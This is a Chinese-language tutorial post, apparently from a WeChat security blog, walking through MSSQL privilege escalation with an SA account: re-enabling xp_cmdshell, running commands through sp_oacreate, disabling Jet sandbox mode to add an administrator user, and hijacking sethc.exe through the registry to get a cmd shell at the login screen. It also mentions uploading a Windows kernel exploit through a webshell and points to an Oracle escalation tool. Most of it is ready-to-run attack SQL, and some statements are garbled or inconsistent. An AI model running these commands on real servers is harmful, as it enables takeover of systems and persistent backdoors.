基础16-权限提升之Mssql数据库提权
微信公众号:[白昼信安]
[如果你觉得文章对你有帮助,欢迎赞赏]
内容目录
二、mssql提权
1.mssql提权之xp_cmdshell
2.mssql提权之sp_oacreate
3.mssql提权之sp_oamethod
4.mssql提权之沙盒模式提权
5.mssql提权之映像劫持
三、Oracle数据库提权-oracle工具
二、mssql提权
流程:和mysql相同,需要得到SA用户账号密码
例如读取网站的数据库配置文件。

1.mssql提权之xp_cmdshell
原理:扩展存储过程中xp_cmdshell是一个开放接口,可以让SQLserver调用cmd命令。
xp_cmdshell在mssql2000是默认开启的,2005之后默认关闭,但我们有SA管理员账号密码后,可以使用sp_configure重新开启。
第一步,使用sa用户远程连接一下。(mssql数据库SA用户默认支持外连)。
利用xp_cmdshell执行命令,发现受阻。

第二步,启动xp_cmdshell
启用:EXEC sp_configure 'show advanced options', 1RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;关闭就是把xp_cmdshell后的1改成0即可。

第三步:再次执行命令EXEC master.dbo.xp_cmdshell 'whoami'

成功执行cmd命令,就是权限有的低,这里就又绕到了windows本地提权,我们通过信息收集,使用ms15-015漏洞进行提权,先将ms15-015利用exp通过webshell上传到对方服务器,然后在sql命令中执行。

成功提权,system权限。
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复。
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQLServer\MSSQL\Binn\xplog70.dll'
2.mssql提权之sp_oacreate+sp_oamethod
sp_oacreate可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd。
sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言,换言之就是xp_cmdshell能执行的sp_oacreate+sp_oamethod同样能胜任。但是使用此方法时sp_oacreate没有回显,所以一般用于xp_cmdshell无法使用时。
第一步,先开启组件
开启:EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGURE

第二步:进行系统命令执行
执行whoami并写入到c盘1.txtdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt

不过我这里并没有成功写入,试了好几次都没有成功,知道的大佬可以说一下哈。
3.mssql提权之沙盒模式提权
原理:本质是修改注册表,默认情况下,注册表中mdb数据库不允许执行系统命令,但是开启沙盒模式,就准许mdb文件执行数据库,通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令。
按照下面代码依次执行即可。
1.--提权语句exec sp_configure 'show advanced options',1;reconfigure;2.-- 不开启的话在执行xp_regwrite会提示让我们开启,exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;3.--关闭沙盒的安全模式,如果一次执行全部代码有问题,先执行上面两句代码。exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;4.--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'5.--执行系统命令5.1、创建m9用户select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user m9 m9 /add")')5.2、将创建的m9用户加入的管理员组select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')沙盒模式SandBoxMode参数含义(默认是2)`0`:在任何所有者中禁止启用安全模式`1` :为仅在允许范围内`2` :必须在access模式下`3`:完全开启
4.mssql提权之映像劫持
通过使用xp_regwrite存储过程对注册表进行修改,替换成任意值,造成镜像劫持。
使用前提:需要开启xp_regwrite并未禁止注册表编辑。
查看xp_regwrite是否启用select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'
开启:xp_regwrite
EXEC sp_configure 'show advanced options', 1RECONFIGUREEXEC sp_configure 'xp_regwrite',1RECONFIGURE
利用regwrite函数修改注册表进行劫持,如果这里regwrite执行失败使用上面方法开启。
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

接下来查看是否劫持成功。
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

接下来我们使用远程连接桌面,连续按五次shift就可调用cmd窗口。

上面对只是对粘滞键进行修改,类似的,可以在注册表中进行其他操作。
参考文章:https://blog.csdn.net/q20010619/article/details/121447014
三、orcle数据库提权
注意:oracle数据库一般搭配java,而jsp网站一般拿到webshell就是系统权限,一般不需要提权。
第一步:同样先找到用户名和密码信息。
第二步:选择相应的模式,使用oracleshell工具提权即可。

软件地址:https://github.com/jas502n/oracleShell使用非常方便,可以看看项目介绍。🍉
更多推荐
所有评论(0)